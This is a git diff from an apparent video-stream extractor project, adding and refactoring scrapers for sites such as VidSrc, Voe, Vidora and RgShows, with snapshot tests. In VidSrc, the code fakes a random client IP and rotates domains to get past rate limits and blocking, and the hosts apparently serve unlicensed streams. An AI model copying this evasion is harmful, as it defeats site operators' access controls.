expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/tv/66732/5/1'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('handle parasite 2019 (mp4)', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/movie/496243'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
49
src/extractor/RgShows.ts
Normal file
49
src/extractor/RgShows.ts
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
import { BlockedError } from '../error';
|
||||
import { BlockedReason, Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { guessHeightFromPlaylist } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
interface RgShowsApiData {
|
||||
stream: {
|
||||
url: string;
|
||||
};
|
||||
}
|
||||
|
||||
export class RgShows extends Extractor {
|
||||
public readonly id = 'rgshows';
|
||||
|
||||
public readonly label = 'RgShows';
|
||||
|
||||
public override readonly ttl: number = 10800000; // 3h
|
||||
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/rgshows/);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { 'Referer': 'https://www.rgshows.ru/', 'Origin': 'https://www.rgshows.ru', 'User-Agent': 'Mozilla' };
|
||||
|
||||
const data = await this.fetcher.json(ctx, url, { headers }) as RgShowsApiData;
|
||||
|
||||
const streamUrl = new URL(data.stream.url);
|
||||
/* istanbul ignore if */
|
||||
if (streamUrl.host.includes('vidzee')) {
|
||||
throw new BlockedError(url, BlockedReason.unknown, {});
|
||||
}
|
||||
|
||||
const isMp4 = streamUrl.href.includes('mp4');
|
||||
const isHls = streamUrl.href.includes('m3u8') || streamUrl.href.includes('txt');
|
||||
|
||||
return [
|
||||
{
|
||||
url: streamUrl,
|
||||
format: isMp4 ? Format.mp4 : (isHls ? Format.hls : /* istanbul ignore next */ Format.unknown),
|
||||
meta: {
|
||||
...meta,
|
||||
...(isHls && { height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, streamUrl, { headers }) }),
|
||||
},
|
||||
requestHeaders: headers,
|
||||
},
|
||||
];
|
||||
};
|
||||
}
|
||||
|
|
@ -1,6 +1,6 @@
|
|||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class SaveFiles extends Extractor {
|
||||
|
|
@ -18,7 +18,7 @@ export class SaveFiles extends Extractor {
|
|||
return new URL(url.href.replace('/e/', '/').replace('/d/', '/'));
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
|
|
@ -37,9 +37,6 @@ export class SaveFiles extends Extractor {
|
|||
{
|
||||
url: new URL(fileMatch[1] as string),
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
title,
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class StreamEmbed extends Extractor {
|
||||
|
|
@ -7,11 +7,13 @@ export class StreamEmbed extends Extractor {
|
|||
|
||||
public readonly label = 'StreamEmbed';
|
||||
|
||||
public override readonly ttl: number = 259200000; // 3d
|
||||
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/bullstream|mp4player|watch\.gxplayer/);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
|
|
@ -26,9 +28,6 @@ export class StreamEmbed extends Extractor {
|
|||
{
|
||||
url: new URL(`/m3u8/${video.uid}/${video.md5}/master.txt?s=1&id=${video.id}&cache=${video.status}`, url.origin),
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
height: parseInt(JSON.parse(video.quality)[0]),
|
||||
|
|
|
|||
|
|
@ -1,26 +1,48 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import {
|
||||
buildMediaFlowProxyExtractorRedirectUrl,
|
||||
supportsMediaFlowProxy,
|
||||
} from '../utils';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class Streamtape extends Extractor {
|
||||
public readonly id = 'streamtape';
|
||||
|
||||
public readonly label = 'Streamtape (via MediaFlow Proxy)';
|
||||
public readonly label = 'Streamtape';
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
public supports(ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/streamtape/) && supportsMediaFlowProxy(ctx);
|
||||
const supportedDomain = null !== url.host.match(/streamtape/)
|
||||
|| [
|
||||
'strtape.cloud',
|
||||
'streamta.pe',
|
||||
'strcloud.link',
|
||||
'strcloud.club',
|
||||
'strtpe.link',
|
||||
'scloud.online',
|
||||
'stape.fun',
|
||||
'streamadblockplus.com',
|
||||
'shavetape.cash',
|
||||
'streamta.site',
|
||||
'streamadblocker.xyz',
|
||||
'tapewithadblock.org',
|
||||
'adblocktape.wiki',
|
||||
'antiadtape.com',
|
||||
'tapeblocker.com',
|
||||
'streamnoads.com',
|
||||
'tapeadvertisement.com',
|
||||
'tapeadsenjoyer.com',
|
||||
'watchadsontape.com',
|
||||
].includes(url.host);
|
||||
|
||||
return supportedDomain && supportsMediaFlowProxy(ctx);
|
||||
}
|
||||
|
||||
public override normalize(url: URL): URL {
|
||||
return new URL(url.href.replace('/e/', '/v/'));
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
// Only needed to properly find non-existing files via 404 response
|
||||
|
|
@ -37,9 +59,6 @@ export class Streamtape extends Extractor {
|
|||
{
|
||||
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Streamtape', url, headers),
|
||||
format: Format.mp4,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
title,
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
|
|
@ -20,7 +20,7 @@ export class SuperVideo extends Extractor {
|
|||
return new URL(url.href.replace('/e/', '/').replace('/k/', '/').replace('/embed-', '/'));
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
|
|
@ -33,30 +33,29 @@ export class SuperVideo extends Extractor {
|
|||
throw new NotFoundError();
|
||||
}
|
||||
|
||||
const m3u8Url = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
|
||||
const playlistUrl = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
|
||||
const playlistHeaders = { Referer: 'https://supervideo.cc/' };
|
||||
|
||||
const heightAndSizeMatch = html.match(/\d{3,}x(\d{3,}), ([\d.]+ ?[GM]B)/);
|
||||
const size = heightAndSizeMatch ? bytes.parse(heightAndSizeMatch[2] as string) as number : undefined;
|
||||
const height = heightAndSizeMatch
|
||||
? parseInt(heightAndSizeMatch[1] as string)
|
||||
: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers: { Referer: url.href } });
|
||||
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers: playlistHeaders });
|
||||
|
||||
const $ = cheerio.load(html);
|
||||
const title = $('.download__title').text().trim();
|
||||
|
||||
return [
|
||||
{
|
||||
url: m3u8Url,
|
||||
url: playlistUrl,
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
title,
|
||||
...(size && { bytes: size }),
|
||||
...(height && { height }),
|
||||
},
|
||||
requestHeaders: playlistHeaders,
|
||||
},
|
||||
];
|
||||
};
|
||||
|
|
|
|||
|
|
@ -1,13 +1,13 @@
|
|||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class Uqload extends Extractor {
|
||||
public readonly id = 'uqload';
|
||||
|
||||
public readonly label = 'Uqload (via MediaFlow Proxy)';
|
||||
public readonly label = 'Uqload';
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
|
|
@ -19,7 +19,7 @@ export class Uqload extends Extractor {
|
|||
return new URL(url.href.replace('/embed-', '/'));
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const html = await this.fetcher.text(ctx, url);
|
||||
|
||||
if (/File Not Found/.test(html)) {
|
||||
|
|
@ -35,9 +35,6 @@ export class Uqload extends Extractor {
|
|||
{
|
||||
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Uqload', url),
|
||||
format: Format.mp4,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
title,
|
||||
|
|
|
|||
|
|
@ -1,57 +1,20 @@
|
|||
import { MockAgent, setGlobalDispatcher } from 'undici';
|
||||
import winston from 'winston';
|
||||
import { createTestContext } from '../test';
|
||||
import { Fetcher, FetcherMock } from '../utils';
|
||||
import { FetcherMock } from '../utils';
|
||||
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||
import { VidSrc } from './VidSrc';
|
||||
|
||||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||
const extractorRegistry = new ExtractorRegistry(logger, [new VidSrc(new FetcherMock(`${__dirname}/__fixtures__/VidSrc`), ['xyz'])]);
|
||||
const extractorRegistry = new ExtractorRegistry(logger, [new VidSrc(new FetcherMock(`${__dirname}/__fixtures__/VidSrc`), ['vidsrc-embed.ru'])]);
|
||||
|
||||
const ctx = createTestContext();
|
||||
|
||||
describe('VidSrc', () => {
|
||||
test('Full Metal Jacket', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc.xyz/embed/movie/tt0093058'))).toMatchSnapshot();
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc-embed.ru/embed/movie/tt0093058'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('Black Mirror', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc.xyz/embed/tv/tt2085059/4/2'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('not found', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc.xyz/embed/movie/tt35628853'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('rate limit issues are retried and fail if no tlds are left', async () => {
|
||||
const mockAgent = new MockAgent({ enableCallHistory: true });
|
||||
mockAgent.disableNetConnect();
|
||||
setGlobalDispatcher(mockAgent);
|
||||
|
||||
mockAgent.get('https://vidsrc.xyz')
|
||||
.intercept({ path: '/embed/movie/tt33043892/1/1' }).reply(429);
|
||||
mockAgent.get('https://vidsrc.net')
|
||||
.intercept({ path: '/embed/movie/tt33043892/1/1' }).reply(429);
|
||||
|
||||
const fetcher = new Fetcher(winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] }));
|
||||
const vidSrc = new VidSrc(fetcher, ['net', 'xyz']);
|
||||
|
||||
expect(await vidSrc.extract(ctx, new URL('https://vidsrc.xyz/embed/movie/tt33043892/1/1'), {})).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('blocking issues are retried and fail if no tlds are left', async () => {
|
||||
const mockAgent = new MockAgent({ enableCallHistory: true });
|
||||
mockAgent.disableNetConnect();
|
||||
setGlobalDispatcher(mockAgent);
|
||||
|
||||
mockAgent.get('https://vidsrc.xyz')
|
||||
.intercept({ path: '/embed/movie/tt33043892/1/1' }).reply(403);
|
||||
mockAgent.get('https://vidsrc.net')
|
||||
.intercept({ path: '/embed/movie/tt33043892/1/1' }).reply(403);
|
||||
|
||||
const fetcher = new Fetcher(winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] }));
|
||||
const vidSrc = new VidSrc(fetcher, ['net', 'xyz']);
|
||||
|
||||
expect(await vidSrc.extract(ctx, new URL('https://vidsrc.xyz/embed/movie/tt33043892/1/1'), {})).toMatchSnapshot();
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc-embed.ru/embed/tv/tt2085059/4-2'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,7 +1,6 @@
|
|||
import * as cheerio from 'cheerio';
|
||||
import slugify from 'slugify';
|
||||
import { BlockedError, NotFoundError, TooManyRequestsError } from '../error';
|
||||
import { Context, Format, Meta, NonEmptyArray, UrlResult } from '../types';
|
||||
import { BlockedError, TooManyRequestsError } from '../error';
|
||||
import { Context, Format, InternalUrlResult, Meta, NonEmptyArray } from '../types';
|
||||
import { Fetcher, guessHeightFromPlaylist } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
|
|
@ -12,47 +11,47 @@ export class VidSrc extends Extractor {
|
|||
|
||||
public override readonly ttl: number = 10800000; // 3h
|
||||
|
||||
private readonly tlds: NonEmptyArray<string>;
|
||||
private readonly domains: NonEmptyArray<string>;
|
||||
|
||||
public constructor(fetcher: Fetcher, tlds: NonEmptyArray<string>) {
|
||||
public constructor(fetcher: Fetcher, domains: NonEmptyArray<string>) {
|
||||
super(fetcher);
|
||||
|
||||
this.tlds = tlds;
|
||||
this.domains = domains;
|
||||
}
|
||||
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/vidsrc/);
|
||||
return null !== url.host.match(/vidsrc|vsrc/);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
// While this is a crappy thing to do, they seem to be blocking overly strict IMO
|
||||
const randomIp = `${Math.floor(Math.random() * 223) + 1}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}`;
|
||||
const newCtx = { ...ctx, ip: randomIp };
|
||||
|
||||
return this.extractUsingRandomTld(newCtx, url, meta, [...this.tlds]);
|
||||
return this.extractUsingRandomDomain(newCtx, url, meta, [...this.domains]);
|
||||
};
|
||||
|
||||
private async extractUsingRandomTld(ctx: Context, url: URL, meta: Meta, tlds: string[]): Promise<UrlResult[]> {
|
||||
const tldIndex = Math.floor(Math.random() * tlds.length);
|
||||
const [tld] = tlds.splice(tldIndex, 1) as [string];
|
||||
private async extractUsingRandomDomain(ctx: Context, url: URL, meta: Meta, domains: string[]): Promise<InternalUrlResult[]> {
|
||||
const domainIndex = Math.floor(Math.random() * domains.length);
|
||||
const [domain] = domains.splice(domainIndex, 1) as [string];
|
||||
|
||||
const newUrl = new URL(url);
|
||||
const hostnameParts = newUrl.hostname.split('.');
|
||||
hostnameParts[hostnameParts.length - 1] = tld;
|
||||
newUrl.hostname = hostnameParts.join('.');
|
||||
newUrl.hostname = domain;
|
||||
|
||||
let html: string;
|
||||
try {
|
||||
html = await this.fetcher.text(ctx, newUrl, { queueLimit: 1 });
|
||||
} catch (error) {
|
||||
if (tlds.length && (error instanceof TooManyRequestsError || error instanceof BlockedError)) {
|
||||
return this.extractUsingRandomTld(ctx, url, meta, tlds);
|
||||
/* istanbul ignore next */
|
||||
if (domains.length && (error instanceof TooManyRequestsError || error instanceof BlockedError)) {
|
||||
return this.extractUsingRandomDomain(ctx, url, meta, domains);
|
||||
}
|
||||
|
||||
/* istanbul ignore next */
|
||||
throw error;
|
||||
}
|
||||
|
||||
const $ = cheerio.load(html);
|
||||
const $ = cheerio.load(html.replace('<!--', '').replace('-->', '')); // server HTML is commented-out
|
||||
|
||||
const iframeUrl = new URL(($('#player_iframe').attr('src') as string).replace(/^\/\//, 'https://'));
|
||||
const title = $('title').text().trim();
|
||||
|
|
@ -68,19 +67,13 @@ export class VidSrc extends Extractor {
|
|||
const srcMatch = iframeHtml.match(`src:\\s?'(.*)'`) as string[];
|
||||
|
||||
const playerHtml = await this.fetcher.text(ctx, new URL(srcMatch[1] as string, iframeUrl.origin), { headers: { Referer: rcpUrl.href } });
|
||||
const fileMatch = playerHtml.match(`file:\\s?'(.*)'`);
|
||||
if (!fileMatch) {
|
||||
throw new NotFoundError();
|
||||
}
|
||||
|
||||
const m3u8Url = new URL(fileMatch[1] as string);
|
||||
const fileMatch = playerHtml.match(`(https:\\/\\/.*?{v\\d}.*?) or`) as string[];
|
||||
const m3u8Url = new URL((fileMatch[1] as string).replace(/{v\d}/, iframeUrl.host));
|
||||
|
||||
return {
|
||||
url: m3u8Url,
|
||||
format: Format.hls,
|
||||
label: serverName,
|
||||
sourceId: `${this.id}_${slugify(serverName)}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
height: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers: { Referer: iframeUrl.href } }),
|
||||
|
|
|
|||
20
src/extractor/Vidora.test.ts
Normal file
20
src/extractor/Vidora.test.ts
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
import winston from 'winston';
|
||||
import { createTestContext } from '../test';
|
||||
import { FetcherMock } from '../utils';
|
||||
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||
import { Vidora } from './Vidora';
|
||||
|
||||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||
const extractorRegistry = new ExtractorRegistry(logger, [new Vidora(new FetcherMock(`${__dirname}/__fixtures__/Vidora`))]);
|
||||
|
||||
const ctx = createTestContext();
|
||||
|
||||
describe('Vidora', () => {
|
||||
test('vidora.stream', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://vidora.stream/5iz6c1elaqgq'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('vidora.stream /embed/', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://vidora.stream/embed/5iz6c1elaqgq'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
43
src/extractor/Vidora.ts
Normal file
43
src/extractor/Vidora.ts
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
import * as cheerio from 'cheerio';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class Vidora extends Extractor {
|
||||
public readonly id = 'vidora';
|
||||
|
||||
public readonly label = 'Vidora';
|
||||
|
||||
public override readonly ttl: number = 43200000; // 12h
|
||||
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/vidora/);
|
||||
}
|
||||
|
||||
public override normalize(url: URL): URL {
|
||||
return new URL(url.href.replace('/embed/', '/'));
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const html = await this.fetcher.text(ctx, url);
|
||||
|
||||
const $ = cheerio.load(html);
|
||||
const title = $('title').text().trim().replace(/^Watch /, '').trim();
|
||||
|
||||
const m3u8Url = extractUrlFromPacked(html, [/file: ?"(.*?)"/]);
|
||||
const headers = { Origin: url.origin };
|
||||
|
||||
return [
|
||||
{
|
||||
url: m3u8Url,
|
||||
format: Format.hls,
|
||||
meta: {
|
||||
...meta,
|
||||
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers }),
|
||||
title,
|
||||
},
|
||||
requestHeaders: headers,
|
||||
},
|
||||
];
|
||||
};
|
||||
}
|
||||
|
|
@ -7,7 +7,7 @@ import { VixSrc } from './VixSrc';
|
|||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||
const extractorRegistry = new ExtractorRegistry(logger, [new VixSrc(new FetcherMock(`${__dirname}/__fixtures__/VixSrc`))]);
|
||||
|
||||
const ctx = createTestContext({ de: 'on', en: 'on', it: 'on' });
|
||||
const ctx = createTestContext();
|
||||
|
||||
describe('VixSrc', () => {
|
||||
test('Full Metal Jacket', async () => {
|
||||
|
|
@ -18,6 +18,10 @@ describe('VixSrc', () => {
|
|||
expect(await extractorRegistry.handle(ctx, new URL('https://vixsrc.to/tv/42009/4/2'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('Rental Family', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://vixsrc.to/movie/1208348'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('Black Mirror is excluded if no matching language was found', async () => {
|
||||
const ctx = createTestContext({ de: 'on' });
|
||||
|
||||
|
|
|
|||
|
|
@ -1,9 +1,5 @@
|
|||
import { Context, CountryCode, Format, Meta, UrlResult } from '../types';
|
||||
import {
|
||||
CustomRequestInit,
|
||||
guessHeightFromPlaylist, hasMultiEnabled,
|
||||
iso639FromCountryCode,
|
||||
} from '../utils';
|
||||
import { Context, CountryCode, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { CustomRequestConfig, guessHeightFromPlaylist, hasMultiEnabled, iso639FromCountryCode } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class VixSrc extends Extractor {
|
||||
|
|
@ -17,7 +13,7 @@ export class VixSrc extends Extractor {
|
|||
return null !== url.host.match(/vixsrc/);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url);
|
||||
|
|
@ -32,7 +28,7 @@ export class VixSrc extends Extractor {
|
|||
playlistUrl.searchParams.append('expires', expiresMatch[1] as string);
|
||||
playlistUrl.searchParams.append('h', '1');
|
||||
|
||||
const countryCodes = await this.determineCountryCodesFromPlaylist(ctx, playlistUrl, { headers });
|
||||
const countryCodes = meta.countryCodes ?? [CountryCode.multi, ...(await this.determineCountryCodesFromPlaylist(ctx, playlistUrl, { headers }))];
|
||||
|
||||
if (!hasMultiEnabled(ctx.config) && !countryCodes.some(countryCode => countryCode in ctx.config)) {
|
||||
return [];
|
||||
|
|
@ -42,21 +38,19 @@ export class VixSrc extends Extractor {
|
|||
{
|
||||
url: playlistUrl,
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
countryCodes,
|
||||
height: await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers }),
|
||||
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers }),
|
||||
},
|
||||
},
|
||||
];
|
||||
};
|
||||
|
||||
private async determineCountryCodesFromPlaylist(ctx: Context, playlistUrl: URL, init?: CustomRequestInit): Promise<CountryCode[]> {
|
||||
private async determineCountryCodesFromPlaylist(ctx: Context, playlistUrl: URL, init?: CustomRequestConfig): Promise<CountryCode[]> {
|
||||
const playlist = await this.fetcher.text(ctx, playlistUrl, init);
|
||||
|
||||
const countryCodes: CountryCode[] = [CountryCode.it];
|
||||
const countryCodes: CountryCode[] = [];
|
||||
|
||||
(Object.keys(CountryCode) as CountryCode[]).forEach((countryCode) => {
|
||||
const iso639 = iso639FromCountryCode(countryCode);
|
||||
|
|
|
|||
|
|
@ -21,4 +21,8 @@ describe('Voe', () => {
|
|||
test('encoding error', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://voe.sx/e/c2yxvit4f6bz'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('embed only urls which otherwise lead to 404', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://mikaylaarealike.com/e/gqlhm9hbobwu'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,9 +1,9 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import {
|
||||
buildMediaFlowProxyExtractorStreamUrl,
|
||||
buildMediaFlowProxyExtractorStreamUrl, guessHeightFromPlaylist,
|
||||
supportsMediaFlowProxy,
|
||||
} from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
|
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
|
|||
export class Voe extends Extractor {
|
||||
public readonly id = 'voe';
|
||||
|
||||
public readonly label = 'VOE (via MediaFlow Proxy)';
|
||||
public readonly label = 'VOE';
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
|
|
@ -37,11 +37,13 @@ export class Voe extends Extractor {
|
|||
'bradleyviewdoctor.com',
|
||||
'brittneystandardwestern.com',
|
||||
'brucevotewithin.com',
|
||||
'christopheruntilpoint.com',
|
||||
'chromotypic.com',
|
||||
'chuckle-tube.com',
|
||||
'cindyeyefinal.com',
|
||||
'counterclockwisejacky.com',
|
||||
'crownmakermacaronicism.com',
|
||||
'crystaltreatmenteast.com',
|
||||
'cyamidpulverulence530.com',
|
||||
'diananatureforeign.com',
|
||||
'donaldlineelse.com',
|
||||
|
|
@ -70,16 +72,21 @@ export class Voe extends Extractor {
|
|||
'kathleenmemberhistory.com',
|
||||
'kellywhatcould.com',
|
||||
'kennethofficialitem.com',
|
||||
'kinoger.ru',
|
||||
'kristiesoundsimply.com',
|
||||
'lancewhosedifficult.com',
|
||||
'launchreliantcleaverriver.com',
|
||||
'lauradaydo.com',
|
||||
'lisatrialidea.com',
|
||||
'loriwithinfamily.com',
|
||||
'lukecomparetwo.com',
|
||||
'lukesitturn.com',
|
||||
'mariatheserepublican.com',
|
||||
'matriculant401merited.com',
|
||||
'maxfinishseveral.com',
|
||||
'metagnathtuggers.com',
|
||||
'michaelapplysome.com',
|
||||
'mikaylaarealike.com',
|
||||
'nathanfromsubject.com',
|
||||
'nectareousoverelate.com',
|
||||
'nonesnanking.com',
|
||||
|
|
@ -97,6 +104,7 @@ export class Voe extends Extractor {
|
|||
'sethniceletter.com',
|
||||
'shannonpersonalcost.com',
|
||||
'simpulumlamerop.com',
|
||||
'smoki.cc',
|
||||
'stevenimaginelittle.com',
|
||||
'strawberriesporail.com',
|
||||
'telyn610zoanthropy.com',
|
||||
|
|
@ -106,6 +114,7 @@ export class Voe extends Extractor {
|
|||
'uptodatefinishconferenceroom.com',
|
||||
'v-o-e-unblock.com',
|
||||
'valeronevijao.com',
|
||||
'walterprettytheir.com',
|
||||
'wolfdyslectic.com',
|
||||
'yodelswartlike.com',
|
||||
].includes(url.host);
|
||||
|
|
@ -114,13 +123,24 @@ export class Voe extends Extractor {
|
|||
}
|
||||
|
||||
public override normalize(url: URL): URL {
|
||||
return new URL(`/${url.pathname.split('/').at(-1)}`, url);
|
||||
return new URL(`/${url.pathname.replace(/\/+$/, '').split('/').at(-1)}`, url);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
